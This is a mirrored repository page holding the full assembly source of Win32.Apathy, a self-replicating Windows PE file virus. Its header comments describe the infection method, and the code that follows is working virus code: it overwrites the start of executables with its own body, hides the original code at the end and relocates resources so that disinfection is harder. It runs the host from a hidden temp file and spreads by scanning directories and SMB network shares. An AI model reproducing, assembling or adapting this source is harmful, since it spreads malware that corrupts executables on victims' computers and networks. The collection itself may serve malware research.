mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 06:55:27 +00:00
826 lines
26 KiB
NASM
826 lines
26 KiB
NASM
|
;
|
||
|
; - Win32.Apathy -
|
||
|
; -b0z0/iKX-
|
||
|
;
|
||
|
; This is a PE infector that works in 9x/NT systems and infected files in
|
||
|
; that enviroments will work correctly after infection (I'm not sure that
|
||
|
; there is a secret bu... feature that could make them not to work).
|
||
|
; While infecting Win32.Apathy will overwrite the original PE start with
|
||
|
; a copy of itself, thus avoiding entirely the API searching problem,
|
||
|
; saving the original piece of code at the end of the infected file. To
|
||
|
; maintain compatibility with NT and to make disinfection a little tricky
|
||
|
; the virus will also change the .rsrc RVA and consequently all the resource
|
||
|
; entryes to some standard position. So just copying the original piece of
|
||
|
; will result in damaging the executable. The original file will be
|
||
|
; reconstructed in a temporary file and executed there as a new process.
|
||
|
; Check code for other things about the infection process and such.
|
||
|
; Win32.Apathy will also try to spread through the network (microsoft
|
||
|
; network or SMB or how you wanna call it) by scanning some connected
|
||
|
; resources and trying to infect files over there.
|
||
|
;
|
||
|
; The virus has been quite tested under Win95/98/NT4
|
||
|
;
|
||
|
; Win32.Apathy born really a lot of time ago, I started coding this just
|
||
|
; after Xine#3 was out, but then the whole project (like all my other VX
|
||
|
; projects) was stopped until about december 1998 when I decided to finish
|
||
|
; at least something. The code tho is not optimized at all, could not be
|
||
|
; too clear in some parts, I just wanted to materialize a few ideas I had
|
||
|
; and I didn't really care too much to optimize or something this.
|
||
|
;
|
||
|
; The virus name is quite obvious, but:
|
||
|
; apathy: the state of having no wish to act and no enthusiasm
|
||
|
;
|
||
|
; Thanx to StarZero for cool hints and notes!
|
||
|
;
|
||
|
; For any kind of info or something contact me at cl0wn@geocities.com
|
||
|
;
|
||
|
|
||
|
.386
|
||
|
.model flat
|
||
|
|
||
|
; kernel32 ones we need
|
||
|
extrn SetFileAttributesA:PROC
|
||
|
extrn Sleep:PROC
|
||
|
extrn GetWindowsDirectoryA:PROC
|
||
|
extrn GetTickCount:PROC
|
||
|
extrn lstrcpy:PROC
|
||
|
extrn ExitProcess:PROC
|
||
|
extrn SetFileTime:PROC
|
||
|
extrn DeleteFileA:PROC
|
||
|
extrn GetTempPathA:PROC
|
||
|
extrn GetTempFileNameA:PROC
|
||
|
extrn CreateProcessA:PROC
|
||
|
extrn CopyFileA:PROC
|
||
|
extrn FindFirstFileA:PROC
|
||
|
extrn FindNextFileA:PROC
|
||
|
extrn GetCommandLineA:PROC
|
||
|
extrn CloseHandle:PROC
|
||
|
extrn ReadFile:PROC
|
||
|
extrn HeapAlloc:PROC
|
||
|
extrn GetProcessHeap:PROC
|
||
|
extrn CreateFileA:PROC
|
||
|
extrn CreateFileMappingA:PROC
|
||
|
extrn MapViewOfFile:PROC
|
||
|
extrn UnmapViewOfFile:PROC
|
||
|
extrn GetFileSize:PROC
|
||
|
extrn CreateMutexA:PROC
|
||
|
extrn GetLastError:PROC
|
||
|
|
||
|
; for network from mpr.dll
|
||
|
extrn WNetOpenEnumA:PROC
|
||
|
extrn WNetEnumResourceA:PROC
|
||
|
|
||
|
.data
|
||
|
|
||
|
vname db 0,'Win32.Apathy by '
|
||
|
author db '-b0z0/iKX-',0 ; used as mutex object name
|
||
|
|
||
|
fsearch:
|
||
|
f_attrib dd 00h
|
||
|
f_ctime dd 00h,00h
|
||
|
f_atime dd 00h,00h
|
||
|
f_wtime dd 00h,00h
|
||
|
f_size_hi dd 00h
|
||
|
f_size_lo dd 00h
|
||
|
f_reserved dd 00h,00h
|
||
|
f_name db 104h dup (?)
|
||
|
f_alt_name db 0eh dup (?)
|
||
|
|
||
|
msg db 'i am nobody except genetic runaround',0
|
||
|
|
||
|
ff_handle dd 00h
|
||
|
f_handle dd 00h
|
||
|
|
||
|
dotdot_mask db '..',0
|
||
|
exemask db '*.EXE',0
|
||
|
|
||
|
v_map_handle dd 00h
|
||
|
v_file_handle dd 00h
|
||
|
|
||
|
orig_virus_p dd 00h
|
||
|
|
||
|
pref db 'ikx',0 ; tmp file name prefix
|
||
|
|
||
|
path_position dd offset new_path
|
||
|
|
||
|
new_path db 112h dup (?) ; max_path + a bit more
|
||
|
tmp_name db 112h dup (?)
|
||
|
|
||
|
process_info dd 4 dup (?)
|
||
|
|
||
|
; STARTUPINFO structure for new process
|
||
|
startup_info dd 10h ; lenght of this structure
|
||
|
dd 00h,00h
|
||
|
title_startup dd 00h ; pointer to title for console progs
|
||
|
;
|
||
|
|
||
|
has_infected db 00h ; 00h no, 01h yes
|
||
|
|
||
|
virus_phase db 07h ; 07h infecting .
|
||
|
; 06h infecting windows directory
|
||
|
; 05h infecting network 1 try
|
||
|
; 04h infecting network 2 try
|
||
|
; 03h infecting ..
|
||
|
; 02h infecting network 3 try
|
||
|
; 01h infecting network 4 try
|
||
|
|
||
|
netspace equ 4000h ; 16kb as suggested. place for 200h
|
||
|
; entryes... way too much anyway
|
||
|
|
||
|
enum_handle dd 00h ; handle of Net enumeration
|
||
|
enum_count dd 1ffh ; how many got / how many to get
|
||
|
enum_size dd netspace ; size of memory avaiable for results
|
||
|
|
||
|
r_point dd 0h
|
||
|
|
||
|
; here begins the virus code
|
||
|
.code
|
||
|
|
||
|
; equs
|
||
|
exesize equ 1502h ; size of virus executable
|
||
|
pe_begin equ 100h ; where PE header begins in virus
|
||
|
file_align equ 200h ; file align value (= to linker one)
|
||
|
read_exe equ 4096d ; how much victim to read to check
|
||
|
marker equ '0z0b' ; infection marker
|
||
|
wait_time equ 2604d ; time between each search
|
||
|
sleep_time equ 7919d ; add sleep time after good infection
|
||
|
f_shit equ 2000h ; first gen dim
|
||
|
; the marker must be set at offset 58h of the PE once compiled
|
||
|
|
||
|
startcode:
|
||
|
call GetProcessHeap
|
||
|
|
||
|
push (exesize + read_exe + netspace)
|
||
|
push 8h ; zero memory
|
||
|
push eax
|
||
|
call HeapAlloc ; allocate some memory from our heap
|
||
|
|
||
|
mov dword ptr [orig_virus_p],eax
|
||
|
|
||
|
push offset new_path
|
||
|
push 112h
|
||
|
call GetTempPathA
|
||
|
|
||
|
push offset tmp_name ; create a temporary name
|
||
|
push large 0
|
||
|
push offset pref
|
||
|
push offset new_path
|
||
|
call GetTempFileNameA
|
||
|
|
||
|
call GetCommandLineA ; get our name
|
||
|
|
||
|
cmp byte ptr [eax],22h ; " this is strange, sometimes cmdline
|
||
|
jne not_thatshit ; is enclosed in "", so we must take
|
||
|
inc eax ; care if they are there
|
||
|
push eax
|
||
|
find_ending:
|
||
|
cmp byte ptr [eax],22h
|
||
|
je delete_ending_aswell
|
||
|
inc eax
|
||
|
jmp find_ending
|
||
|
delete_ending_aswell:
|
||
|
mov byte ptr [eax],20h
|
||
|
pop eax
|
||
|
not_thatshit:
|
||
|
push eax
|
||
|
mov dword ptr [title_startup],eax
|
||
|
search_end:
|
||
|
inc eax
|
||
|
cmp byte ptr [eax-1],'.' ; go to the extension
|
||
|
jne search_end
|
||
|
cmp byte ptr [eax+3],20h ; space
|
||
|
je found_end
|
||
|
cmp byte ptr [eax+3],00h ; end of string
|
||
|
jne search_end
|
||
|
found_end:
|
||
|
add eax,3 ; point on end of exe name
|
||
|
push eax
|
||
|
|
||
|
push eax ; copy possible command line options
|
||
|
push offset new_path ; to the buffer
|
||
|
call lstrcpy
|
||
|
|
||
|
pop eax
|
||
|
mov byte ptr [eax],0 ; put null to open/copy it
|
||
|
|
||
|
pop eax
|
||
|
|
||
|
push large 0
|
||
|
push offset tmp_name
|
||
|
push eax ; copy ourselves to another name
|
||
|
call CopyFileA
|
||
|
or eax,eax
|
||
|
jz exit_critical_temp
|
||
|
|
||
|
push 02h ; file attribute hidden
|
||
|
push offset tmp_name
|
||
|
call SetFileAttributesA
|
||
|
|
||
|
xor eax,eax
|
||
|
push eax
|
||
|
push large 80h
|
||
|
push large 3
|
||
|
push eax
|
||
|
push eax
|
||
|
push 0c0000000h ; readwrite
|
||
|
push offset tmp_name ; open the temporary file
|
||
|
call CreateFileA
|
||
|
|
||
|
inc eax ; check if opened ok
|
||
|
jz exit_critical_temp
|
||
|
dec eax
|
||
|
|
||
|
mov dword ptr [v_file_handle],eax
|
||
|
|
||
|
push eax
|
||
|
|
||
|
push large 0
|
||
|
push eax ; handle
|
||
|
call GetFileSize ; get size of file we are running from
|
||
|
xchg ecx,eax ; copied in a tmp file
|
||
|
|
||
|
pop eax
|
||
|
|
||
|
push ecx ; size
|
||
|
|
||
|
xor ecx,ecx
|
||
|
push ecx
|
||
|
push ecx ; entire file
|
||
|
push ecx
|
||
|
push large 04h
|
||
|
push ecx
|
||
|
push eax
|
||
|
call CreateFileMappingA
|
||
|
cdq
|
||
|
or eax,eax
|
||
|
jz exit_critical_temp ; eax map handle
|
||
|
|
||
|
push eax ; mapping handle
|
||
|
|
||
|
push edx
|
||
|
push edx
|
||
|
push edx
|
||
|
push large 02h
|
||
|
push eax
|
||
|
call MapViewOfFile
|
||
|
|
||
|
or eax,eax
|
||
|
pop ebx ; mapping handle
|
||
|
je exit_critical_temp
|
||
|
|
||
|
cld
|
||
|
|
||
|
mov esi,eax
|
||
|
mov edi,dword ptr [orig_virus_p]
|
||
|
mov ecx,exesize
|
||
|
mov edx,ecx
|
||
|
rep movsb
|
||
|
|
||
|
pop ecx ; size
|
||
|
|
||
|
cmp ecx,f_shit
|
||
|
jz first_generation
|
||
|
|
||
|
sub ecx,edx
|
||
|
sub ecx,edx
|
||
|
push ebx ; map handle
|
||
|
mov edi,esi
|
||
|
add esi,ecx
|
||
|
mov ecx,edx
|
||
|
sub edi,ecx
|
||
|
push edi ; to beginning of file mapping in mem
|
||
|
push edi
|
||
|
rep movsb ; restore original
|
||
|
pop edi
|
||
|
|
||
|
mov esi,edi ; now we must restore the resources
|
||
|
|
||
|
add edi,dword ptr [edi+3ch] ; on PE
|
||
|
mov eax,dword ptr [edi+8ch] ; resources lenght
|
||
|
|
||
|
or eax,eax
|
||
|
jz no_resourz
|
||
|
|
||
|
mov eax,dword ptr [edi+88h] ; resources RVA
|
||
|
add edi,0f8h+0ch ; to objects
|
||
|
srs_loo:
|
||
|
cmp eax,dword ptr [edi] ; is the resources one?
|
||
|
je got_srsr
|
||
|
add edi,28h ; lenght of an object
|
||
|
jmp srs_loo
|
||
|
got_srsr:
|
||
|
add esi,dword ptr [edi+08h] ; physical offset of resources
|
||
|
mov ebx,4000h ; fixed virus resources RVA
|
||
|
sub ebx,eax
|
||
|
call rsrs_change ; call changer
|
||
|
|
||
|
no_resourz: ; everything is ready again
|
||
|
call UnmapViewOfFile
|
||
|
|
||
|
call CloseHandle
|
||
|
|
||
|
push dword ptr [v_file_handle] ; close virus file
|
||
|
call CloseHandle
|
||
|
|
||
|
xor eax,eax
|
||
|
|
||
|
push offset process_info
|
||
|
push offset startup_info
|
||
|
push eax
|
||
|
push eax
|
||
|
push eax
|
||
|
push eax
|
||
|
push eax
|
||
|
push eax
|
||
|
push offset new_path ; to command line options
|
||
|
push offset tmp_name ; to file to execute
|
||
|
call CreateProcessA ; run host executable
|
||
|
|
||
|
first_generation:
|
||
|
push offset author ; name of the mutex object
|
||
|
push large 1
|
||
|
push large 0
|
||
|
call CreateMutexA ; create one
|
||
|
|
||
|
call GetLastError ; check if one with the same name
|
||
|
or eax,eax ; already exist. if so virus is already
|
||
|
jnz exit_critical_temp ; running as another process
|
||
|
|
||
|
mov eax,offset exemask
|
||
|
|
||
|
search_loop:
|
||
|
push offset fsearch
|
||
|
push eax
|
||
|
call FindFirstFileA ; search for some victims
|
||
|
cmp eax,-1
|
||
|
je end_file_search
|
||
|
|
||
|
mov dword ptr [ff_handle],eax
|
||
|
|
||
|
infect_file:
|
||
|
push offset f_name
|
||
|
push dword ptr [path_position] ; copy found file
|
||
|
call lstrcpy ; after directory
|
||
|
|
||
|
push 80h ; FILE_ATTRIBUTE_NORMAL
|
||
|
push offset new_path
|
||
|
call SetFileAttributesA ; delete attributes
|
||
|
|
||
|
or eax,eax
|
||
|
jz error_attributes
|
||
|
|
||
|
xor eax,eax
|
||
|
|
||
|
push eax
|
||
|
push large 80h
|
||
|
push large 3
|
||
|
push eax
|
||
|
push eax
|
||
|
push 0c0000000h ; readwrite
|
||
|
push offset new_path ; full file name to file to
|
||
|
call CreateFileA ; infect
|
||
|
|
||
|
inc eax
|
||
|
jz error_opening
|
||
|
dec eax
|
||
|
|
||
|
mov dword ptr [f_handle],eax
|
||
|
|
||
|
push eax
|
||
|
|
||
|
mov edx,dword ptr [orig_virus_p] ; virus heap
|
||
|
add edx,exesize ; read data is after original
|
||
|
push edx
|
||
|
|
||
|
push large 0
|
||
|
push offset f_size_hi ; some place to store nr of
|
||
|
push read_exe ; readed bytes
|
||
|
push edx
|
||
|
push eax
|
||
|
call ReadFile ; read header
|
||
|
|
||
|
pop edx
|
||
|
pop eax
|
||
|
|
||
|
cmp word ptr [edx],'ZM' ; exe?
|
||
|
jne not_to_infect
|
||
|
|
||
|
mov ecx,dword ptr [edx+3ch] ; pointer to PE header
|
||
|
|
||
|
cmp ecx,(read_exe - 4) ; is the PE header in readed
|
||
|
jae not_to_infect ; chunk of executable?
|
||
|
|
||
|
add edx,ecx
|
||
|
|
||
|
cmp dword ptr [edx],'EP'
|
||
|
jne not_to_infect
|
||
|
|
||
|
cmp dword ptr [edx+58h],marker ; already infected?
|
||
|
je not_to_infect
|
||
|
|
||
|
test dword ptr [edx+3ch],(file_align - 1)
|
||
|
jnz not_to_infect ; must have an align cmptible
|
||
|
|
||
|
mov ecx,dword ptr [f_size_lo] ; file size (assume <= 4gb)
|
||
|
|
||
|
cmp ecx,(10 * 1024) ; not too small files
|
||
|
jbe not_to_infect ; leave it
|
||
|
|
||
|
mov ebx,dword ptr [edx+8ch] ; resource size
|
||
|
or ebx,ebx
|
||
|
jz no_resp
|
||
|
|
||
|
mov ebx,dword ptr [edx+88h] ; pointer to resources
|
||
|
|
||
|
add edx,(0f8h + 0ch)
|
||
|
search_rsrcs:
|
||
|
cmp ebx,dword ptr [edx] ; is the resources one?
|
||
|
je got_rsrcs
|
||
|
add edx,28h ; lenght of an object
|
||
|
jmp search_rsrcs
|
||
|
got_rsrcs:
|
||
|
sub edx,0ch ; on beginning of this object
|
||
|
|
||
|
cmp dword ptr [edx+14h],exesize ; are resources after the virus
|
||
|
jbe not_to_infect ; size (this is won't be overw)
|
||
|
|
||
|
mov ebx,edx
|
||
|
no_resp:
|
||
|
mov dword ptr [r_point],ebx
|
||
|
|
||
|
add ecx,exesize ; will extend it by exesize
|
||
|
|
||
|
xor edx,edx
|
||
|
|
||
|
push edx
|
||
|
push ecx
|
||
|
push edx
|
||
|
push large 04h
|
||
|
push edx
|
||
|
push eax
|
||
|
call CreateFileMappingA
|
||
|
cdq
|
||
|
or eax,eax
|
||
|
jz not_to_infect
|
||
|
|
||
|
mov dword ptr [v_map_handle],eax
|
||
|
|
||
|
push edx
|
||
|
push edx
|
||
|
push edx
|
||
|
push large 02h
|
||
|
push eax
|
||
|
call MapViewOfFile
|
||
|
or eax,eax
|
||
|
jz close_map_exit
|
||
|
|
||
|
mov edi,eax
|
||
|
|
||
|
push edi
|
||
|
mov esi,edi
|
||
|
add edi,dword ptr [f_size_lo]
|
||
|
mov edx,edi
|
||
|
mov ecx,exesize ; save original code after the end
|
||
|
push ecx
|
||
|
rep movsb
|
||
|
pop ecx
|
||
|
pop edi
|
||
|
|
||
|
push edi
|
||
|
mov esi,dword ptr [orig_virus_p] ; on vir
|
||
|
rep movsb ; copy virus body
|
||
|
pop edi
|
||
|
|
||
|
push edi
|
||
|
|
||
|
mov esi,edx
|
||
|
mov edx,edi
|
||
|
|
||
|
add esi,dword ptr [esi+3ch] ; on PE
|
||
|
|
||
|
mov ecx,4000h ; image size of virus file w/o rsrcs
|
||
|
mov dword ptr [edi+pe_begin+50h],ecx ; correct image size
|
||
|
|
||
|
mov word ptr [edi+pe_begin+6],3h ; number of virus objects
|
||
|
|
||
|
mov eax,dword ptr [r_point] ; pointer to resources object
|
||
|
|
||
|
mov ebx,dword ptr [esi+8ch] ; resource size
|
||
|
mov dword ptr [edi+pe_begin+8ch],ebx
|
||
|
mov dword ptr [edi+pe_begin+88h],0h ; zero resurce RVA by default
|
||
|
|
||
|
or eax,eax ; resources length 0?
|
||
|
jz no_resources
|
||
|
|
||
|
mov ebx,dword ptr [esi+88h] ; resource RVA
|
||
|
sub ebx,ecx
|
||
|
|
||
|
mov dword ptr [edi+pe_begin+88h],ecx ; set resources pointer
|
||
|
|
||
|
inc word ptr [edi+pe_begin+6] ; number of objects
|
||
|
|
||
|
mov esi,eax ; on resources object
|
||
|
|
||
|
add edi,(pe_begin + 0f8h + (3*28h))
|
||
|
mov ecx,028h ; copy resources object
|
||
|
rep movsb
|
||
|
|
||
|
mov esi,edx ; on beginning of file
|
||
|
|
||
|
mov dword ptr [edi-28h+0ch],4000h
|
||
|
mov eax,dword ptr [edi-28h+08h] ; object virtual size
|
||
|
add eax,(1000h - 1)
|
||
|
and eax,0fffff000h
|
||
|
add dword ptr [edi - (0f8h + (4*28h)) + 50h],eax ; to image size
|
||
|
|
||
|
mov eax,dword ptr [edi-28h+14h] ; physical offset of resources
|
||
|
add esi,eax
|
||
|
call rsrs_change ; change those
|
||
|
|
||
|
no_resources:
|
||
|
call UnmapViewOfFile ; unmap view of file
|
||
|
|
||
|
inc byte ptr [has_infected] ; good infection, so a pause
|
||
|
; will occour
|
||
|
close_map_exit:
|
||
|
push dword ptr [v_map_handle]
|
||
|
call CloseHandle ; close mapping handle
|
||
|
|
||
|
mov eax,dword ptr [f_handle]
|
||
|
push eax
|
||
|
|
||
|
push offset f_wtime
|
||
|
push offset f_atime
|
||
|
push offset f_ctime
|
||
|
push eax
|
||
|
call SetFileTime ; restore original file time
|
||
|
|
||
|
pop eax
|
||
|
|
||
|
not_to_infect:
|
||
|
push eax ; file handle
|
||
|
call CloseHandle ; close infected file
|
||
|
|
||
|
error_opening:
|
||
|
push dword ptr [f_attrib] ; restore old attributes to file
|
||
|
push offset new_path
|
||
|
call SetFileAttributesA
|
||
|
|
||
|
error_attributes:
|
||
|
mov eax,wait_time ; so it won't work too much
|
||
|
|
||
|
dec byte ptr [has_infected]
|
||
|
jnz no_infection
|
||
|
|
||
|
add eax,sleep_time ; if a file was infected then make a
|
||
|
; longer pause
|
||
|
no_infection:
|
||
|
push eax
|
||
|
call Sleep ; pause until next one
|
||
|
|
||
|
mov byte ptr [has_infected],00h ; reset infection mark
|
||
|
|
||
|
push offset fsearch
|
||
|
push dword ptr [ff_handle]
|
||
|
call FindNextFileA
|
||
|
or eax,eax ; no more files?
|
||
|
jz end_file_search
|
||
|
jmp infect_file ; else infect
|
||
|
|
||
|
end_file_search:
|
||
|
|
||
|
call GetTickCount ; should we go deeper in dir
|
||
|
shr eax,1 ; from actual position?
|
||
|
jc next_phase
|
||
|
|
||
|
mov esi,dword ptr [path_position] ; search from last dir fwd
|
||
|
mov dword ptr [esi],' .*' ; to search dirs and such
|
||
|
|
||
|
push eax
|
||
|
|
||
|
push offset fsearch
|
||
|
push offset new_path
|
||
|
call FindFirstFileA
|
||
|
mov dword ptr [ff_handle],eax
|
||
|
cmp eax,-1
|
||
|
pop eax
|
||
|
je next_phase ; no dirs in here
|
||
|
|
||
|
check_dir:
|
||
|
test dword ptr [f_attrib],10h ; is a directory?
|
||
|
jz search_next_dir
|
||
|
|
||
|
cmp byte ptr [f_name],'.' ; not . or ..
|
||
|
je search_next_dir
|
||
|
|
||
|
shr eax,1 ; select randomly if walk into
|
||
|
jnc search_next_dir ; this or try another
|
||
|
|
||
|
mov eax,dword ptr [path_position] ; put after actual search path
|
||
|
mov esi,offset f_name ; point to directory name
|
||
|
|
||
|
jmp copy_from_eax
|
||
|
search_next_dir:
|
||
|
push eax
|
||
|
push offset fsearch
|
||
|
push dword ptr [ff_handle] ; search next
|
||
|
call FindNextFileA
|
||
|
or eax,eax ; no more directoryes?
|
||
|
pop eax
|
||
|
jnz check_dir
|
||
|
|
||
|
next_phase:
|
||
|
dec byte ptr [virus_phase]
|
||
|
mov al,byte ptr [virus_phase]
|
||
|
|
||
|
or al,al ; phases finished
|
||
|
jz farewell_and_goodnight
|
||
|
|
||
|
cmp al,03h ; search in ..
|
||
|
je search_dotdot
|
||
|
|
||
|
cmp al,06h ; windows directory phase
|
||
|
jne network_work
|
||
|
|
||
|
mov esi,offset new_path
|
||
|
|
||
|
push 104h ; buffer lenght
|
||
|
push esi ; search in windoze directory
|
||
|
call GetWindowsDirectoryA
|
||
|
jmp copy_and_gosearch
|
||
|
|
||
|
search_dotdot:
|
||
|
mov esi,offset dotdot_mask
|
||
|
jmp copy_and_gosearch
|
||
|
|
||
|
network_work:
|
||
|
xor ebx,ebx
|
||
|
find_resource:
|
||
|
push offset enum_handle
|
||
|
push ebx ; pointer to NETSOURCE structure to use
|
||
|
push large 3 ; CONNECTABLE | CONTAINER
|
||
|
push large 1 ; RESOURCETYPE_DISK
|
||
|
push large 2 ; RESOURCE_GLOBALNET
|
||
|
call WNetOpenEnumA
|
||
|
or eax,eax ; 0 = NO_ERROR
|
||
|
jnz next_phase ; on error just skip this phase
|
||
|
|
||
|
mov eax,dword ptr [orig_virus_p] ; pointer to heap
|
||
|
add eax,(exesize + read_exe) ; after other data
|
||
|
|
||
|
mov dword ptr [enum_count],1ffh ; get max entryes
|
||
|
|
||
|
push eax
|
||
|
|
||
|
push offset enum_size ; avaiable memory for results
|
||
|
push eax ; where to place results
|
||
|
push offset enum_count ; how many to enumerate
|
||
|
push dword ptr [enum_handle] ; handle of enumeration
|
||
|
call WNetEnumResourceA
|
||
|
pop ebx
|
||
|
or eax,eax ; 0 = NO_ERROR
|
||
|
jnz next_phase ; if some error skip
|
||
|
|
||
|
mov ecx,dword ptr [enum_count] ; number of entryes got
|
||
|
|
||
|
call GetTickCount ; random
|
||
|
xor edx,edx
|
||
|
div ecx
|
||
|
|
||
|
mov eax,20h ; lenght of one entry
|
||
|
mul edx ; select which one
|
||
|
add ebx,eax
|
||
|
|
||
|
test dword ptr [ebx+0ch],01h ; is an usable resource
|
||
|
jz find_resource
|
||
|
; if not should be a container
|
||
|
; (local or remote) so continue
|
||
|
; to next level
|
||
|
|
||
|
got_resource:
|
||
|
mov esi,dword ptr [ebx+14h] ; here it is
|
||
|
|
||
|
copy_and_gosearch:
|
||
|
mov eax,offset new_path
|
||
|
copy_from_eax:
|
||
|
|
||
|
push eax
|
||
|
|
||
|
push esi ; path to network or dir
|
||
|
push eax ; where to copy
|
||
|
call lstrcpy
|
||
|
|
||
|
pop eax
|
||
|
loop_searchzero:
|
||
|
cmp byte ptr [eax],00h
|
||
|
je got_null_termination ; find end
|
||
|
inc eax
|
||
|
jmp loop_searchzero
|
||
|
got_null_termination:
|
||
|
mov byte ptr [eax],'\' ; add \
|
||
|
inc eax
|
||
|
|
||
|
mov dword ptr [path_position],eax
|
||
|
|
||
|
push offset exemask ; and now copy the *.exe mask
|
||
|
push eax
|
||
|
call lstrcpy
|
||
|
|
||
|
mov eax,offset new_path
|
||
|
jmp search_loop
|
||
|
|
||
|
farewell_and_goodnight:
|
||
|
|
||
|
exit_critical_temp:
|
||
|
|
||
|
; before exiting delete some temp files (the still used ones will be deleted
|
||
|
; next time since are actually in use)
|
||
|
|
||
|
mov esi,offset tmp_name ; has temp path + last temp name
|
||
|
search_dottmp:
|
||
|
inc esi
|
||
|
cmp word ptr [esi],'i\' ; find beginning of name
|
||
|
jne search_dottmp
|
||
|
inc esi
|
||
|
inc esi
|
||
|
cmp word ptr [esi],'xk'
|
||
|
jne search_dottmp
|
||
|
got_end:
|
||
|
inc esi
|
||
|
inc esi
|
||
|
push esi
|
||
|
mov dword ptr [esi],'mt.*' ; set delete ikx*.tmp
|
||
|
mov word ptr [esi+4],'p' ; p + null termination
|
||
|
|
||
|
push offset fsearch
|
||
|
push offset tmp_name
|
||
|
call FindFirstFileA
|
||
|
|
||
|
pop edi ; after ikx in temp name
|
||
|
cmp eax,-1
|
||
|
je exit_deletion
|
||
|
delete_temps:
|
||
|
mov esi,(offset f_name + 3)
|
||
|
mov ecx,9h ; sometimes will be shorter but wc
|
||
|
push edi
|
||
|
rep movsb
|
||
|
pop edi
|
||
|
|
||
|
push eax ; preserve handle
|
||
|
push offset tmp_name
|
||
|
call DeleteFileA ; could fail if file is
|
||
|
pop eax ; used, but np
|
||
|
|
||
|
push eax
|
||
|
push offset fsearch
|
||
|
push eax
|
||
|
call FindNextFileA ; find next to delete
|
||
|
or eax,eax
|
||
|
pop eax
|
||
|
jnz delete_temps
|
||
|
|
||
|
exit_deletion:
|
||
|
|
||
|
exit:
|
||
|
push LARGE -1 ; that's all, will release also
|
||
|
call ExitProcess ; our mutex object
|
||
|
|
||
|
rsrs_change:
|
||
|
; EBX = value to substract to each resource element
|
||
|
; ESI = pointer to resources
|
||
|
xor edx,edx ; will keep number of data elements
|
||
|
push ebx
|
||
|
search_rsr:
|
||
|
add esi,10h
|
||
|
movzx ecx,word ptr [esi - 2] ; nr of named and integer
|
||
|
add cx,word ptr [esi - 4] ; entryes in this dir
|
||
|
adc ecx,0
|
||
|
na_nasl:
|
||
|
mov ebx,dword ptr [esi + 4]
|
||
|
test ebx,80000000h ; is a resource data entry?
|
||
|
jnz is_subdir
|
||
|
inc edx
|
||
|
is_subdir:
|
||
|
add esi,8 ; on next
|
||
|
loop na_nasl
|
||
|
cmp dword ptr [esi],00h ; finished ?
|
||
|
je search_rsr
|
||
|
|
||
|
pop ebx
|
||
|
mov ecx,edx
|
||
|
change_res:
|
||
|
sub dword ptr [esi],ebx ; sub requested value
|
||
|
add esi,10h
|
||
|
loop change_res ; change all entryes
|
||
|
ret
|
||
|
|
||
|
end startcode
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|